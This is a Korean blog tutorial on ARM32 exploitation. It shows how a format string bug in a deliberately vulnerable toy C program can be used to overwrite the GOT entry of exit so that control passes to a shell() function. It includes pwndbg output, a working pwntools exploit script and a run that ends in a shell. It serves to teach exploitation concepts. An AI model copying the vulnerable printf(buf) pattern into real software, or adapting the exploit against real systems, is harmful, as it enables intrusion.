앞서 Format String Vulnerability를 이용해서 ARM32에서 Arbitrary read와 write가 가능함을 확인했다.
이번 글에서는 Arbitrary execute를 살펴보자.
Arbitrary Execute
앞서 임의 주소의 메모리 내용을 읽을 수 있다는 점에서 memory leak이 가능하다는 것을 확인했다. 그리고 임의 주소의 메모리 내용을 공격자가 원하는 내용으로 덮어쓸 수 있다는 것이 arbitrary write이다. 그렇다면 쓰려는 값이 주소 값이라면 어떨까?
다양한 값을 덮어쓸 수 있지만 결국 핵심은 제어 흐름(Control Flow)를 변경하는 것이 가장 강력한 공격이 될 것이다. 이 방법에는 다양한 선택지가 있다.
- 함수의 복귀 주소(return address)
- GOT(Global Offset Table)
- .dtor(Destructor section)
- Function pointers
- fini_array
이미 앞서 Stack overflow 문제를 다루며 함수의 복귀 주소를 덮어쓰는 것을 실습했다.
이번에는 GOT Overwrite를 이용한 제어 흐름 변경을 실습해보자. 그러기 위해 기초적인 관련 개념을 살펴보고, 예제를 통해 실습해보자.
지연 바인딩 (Lazy Binding)
우선 동적 링킹에 대해 이해해야 한다. 아래의 바이너리를 file로 조회하면 dynamically linked라고 나온다. 이게 동적으로 링크된 바이너리다. 바이너리 안에는 개발자가 프로그래밍한 내용이 있지만 printf 등의 표준 함수들에 대한 구현은 들어있지 않다. 대신 외부의 라이브러리를 호출하여 참조하도록 한 것이다. (이와 반대되는 개념으로 정적으로 링크된(static linked) 바이너리도 있다. GOT Overwrite는 우선 동적 링크된 바이너리를 대상으로 한다.)
$ file formatstr4 formatstr4: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=77cc540ce60bcf73c1f1c999eadefd5f1a75163f, not stripped
그렇다면 바이너리 내부에서 어떻게 외부의 라이브러리 함수를 호출할 수 있을까? 결국 외부의 함수 주소를 알고있어야 가능하다. 이 때 사용되는 개념이 PLT & GOT다. 이 개념에 대한 자세한 설명은 아래 블로그의 글이 좋은 참고될 것이다.
결론적으로 요약하면, 함수가 호출될 때 PLT를 거쳐 GOT에 기재된 주소로 점프하려고 한다. 만약 첫 번째 호출이라면 GOT는 아직 해당 함수의 주소를 가지고 있지 않다. 이 경우 일련의 과정을 거쳐 해당 함수의 주소를 알아낸 뒤 그것을 호출한다. 두 번째 호출 부터는 첫 번째 호출 때 알아낸 주소로 바로 점프한다.
앞서 포맷 스트링 버그는 Arbitrary Write가 가능하다고 했다. 그렇다면 GOT 영역에 있는 주소를 임의로 다른 주소로 덮어쓴다면, 해당 함수를 호출할 때 조작된 다른 함수 부분으로 점프할 수 있을 것이다.
여기서 선행 조건이 하나 있다.
RELRO 보호 기법
Relro란 Relocation read only의 줄임말이다. relro를 설정하지 않으면 ELF 기본 헤더와 코드 영역을 제외한 나머지 대부분의 영역에 read, write 권한이 존재하게 된다.
Relro를 적용하게 되면 일부 섹션에 Write 권한을 제거하여 GOT Overwrite 등의 공격으로부터 방어할 수 있다. 다만 성능상의 문제로 Relro를 전체(Full)로 적용하거나 일부(Partial)로 적용할 수 있도록 하고있다.
$ checksec formatstr4 [*] '/home/pi/arm_exploitation/format/execute/formatstr4' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000)
checksec을 통해 바이너리의 보호기법을 확인했을 때 RELRO는 Partial로 표출되고 있다. 현시점의 대다수의 컴파일러들이 Partial Relro를 Defualt로 하고 있다고 생각하면 된다. No Relro이거나 Partial Relro인 경우, GOT영역에 쓰기 권한이 존재하므로 포맷스트링 버그를 이용한 GOT Overwrite를 수행할 수 있다. 만약 FULL Relro라면 다른 방법을 알아봐야 할 것이다. 이 예제에서는 Partial Relro 인 바이너리를 대상으로 실습한다.
예제코드
예제 코드는 Defenit의 JSec 님의 INCOGNITO 강의자료 와 JiR4Vvit 님의 블로그 설명을 참고했다. 해당 내용은 모두 Intel 32 비트 혹은 64 비트를 기준으로 설명되어있는데, 동일한 소스코드를 ARM 32비트 환경에서 컴파일하여 진행하였기에 익스플로잇도 약간의 수정이 필요하다.
// $ gcc -o formatstr4 formatstr4.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void shell(void) { system("/bin/sh"); _exit(1); } int main(void) { char buf[0x100]; read(0, buf, 0x100); printf(buf); exit(0); }
이 코드는 단순히 buf에 read함수로 입력을 받고, printf(buf)로 해당 내용을 출력한다. printf()에서 포맷 스트링 버그가 발생하고 있다. 그리고 exit(0) 함수가 호출되어 프로그램이 종료된다. shell 이라는 함수가 선언되어 있으며 system("/bin/sh")을 실행하는데, shell 함수가 main에서 호출되지 않는 상황이다.
임의의 함수를 호출하기 위해 포맷 스트링 버그를 악용해보자. exit(0)이 실행되기 전에 exit함수의 GOT 을 shell 함수의 포인터로 덮어씌울 수 있다. (기본 컴파일시 Partial RELRO이다)
포맷 스트링
포맷 스트링으로 Arbitrary Execute을 하려면 결국 어떤 값을 어떤 것으로 교체할지만 명확히 알면 된다. 덮어쓰고자 하는 대상은 exit 함수의 got이고, 덮어쓸 내용은 shell 함수의 주소이다.
1) 덮어쓸 위치 구하기
이 부분은 앞선 글에서 많이 설명했으므로 간단히 넘어가겠다. AAAA를 입력한 후 몇 개의 %x를 입력하여 스택의 내용을 출력하다보면 AAAA가 몇 번째 위치에 놓여지는지 알 수 있다.
$ ./formatstr4 AAAA %x %x %x %x AAAA 7efff390 100 7efff390 41414141
%4$p의 위치임을 알 수 있다.
2) exit 함수의 got구하기
pwndbg를 통해 바이너리를 실행하고 got 명령어로 대상 함수의 이름으로 조회할 수 있다.
$ gdb -q ./formatstr4 pwndbg> b * main Breakpoint 1 at 0x104b4 pwndbg> r Starting program: /home/pi/arm_exploitation/format/execute/formatstr4 pwndbg> got exit GOT protection: Partial RELRO | GOT functions: 7 [0x21020] exit@GLIBC_2.4 -> 0x10340 ◂— str lr, [sp, #-4]!
0x00021020이 GLIBC상의 exit 함수의 주소이다.
3) shell 함수의 주소
pwndbg를 통해 바이너리를 실행하고 disass 명령어로 대상 함수의 이름으로 조회할 수 있다.
pwndbg> disass shell Dump of assembler code for function shell: 0x00010498 <+0>: push {r11, lr} 0x0001049c <+4>: add r11, sp, #4 0x000104a0 <+8>: ldr r0, [pc, #8] ; 0x104b0 <shell+24> 0x000104a4 <+12>: bl 0x10378 <system@plt> 0x000104a8 <+16>: nop ; (mov r0, r0) 0x000104ac <+20>: pop {r11, pc} 0x000104b0 <+24>: andeq r0, r1, r8, asr r5 End of assembler dump.
0x00010498이 바이너리 내에 정의된 shell 함수의 주소이다.
4) Pwntools Exploit
사실 위의 정보는 수동으로 확인하지 않아도 pwntools에서 바이너리를 로드하면 자동으로 얻어올 수 있다. 다음과 같이 익스플로잇을 작성하면 된다.
from pwn import * p = process('./formatstr4') e = ELF('./formatstr4') exit_got = e.got['exit'] # 0x00021020 shell_addr = e.symbols['shell'] # 0x00010498 payload = fmtstr_payload(4, {exit_got:shell_addr}) print("payload len : {}".format(len(payload))) print("paylaod : {}".format(payload)) # Sending Payload print("[+] Sending payload..") p.sendline(payload) sleep(1) p.interactive()
페이로드 생성은 그냥 fmtstr_payload 함수를 이용했다. 4번째 요소에 대하여 exit_got의 주소를 shell_addr로 덮는다.
$ python exploit4.py [+] Starting local process './formatstr4': pid 877 [*] '/home/pi/arm_exploitation/format/execute/formatstr4' Arch: arm-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x10000) payload len : 32 paylaod : %1176c%10$n%105c%11$hhna\x20\x10\x02\x00\x22\x10\x02\x00 [+] Sending payload.. [*] Switching to interactive mode $ ls formatstr4.c exploit4.py formatstr4 $
성공적으로 shell 함수를 실행했다.
결론
이번 글에서는 포맷 스트링 버그를 이용한 GOT Overwrite를 수행하여 임의로 Control flow 를 변경할 수 있음을 확인했다. GOT Overwrite를 수행하려면 RELRO 설정이 No이거나 Partial이어야 한다.
하지만 이번 예제 코드는 현실성이 없는 학습용이었다. 왜냐하면 현실에서 shell()과 같은 함수가 존재할리가 없기 때문이다. 그렇다면 점프할 함수가 없는 경우에는 어떻게 할 수 있을지, 그리고 ASLR 에 의해 LIBC Base의 주소가 지속적으로 변경되는 경우 어떻게 대처할 수 있을지를 알아볼 예정이다.
CPUU님의 창작활동을 응원하고 싶으세요?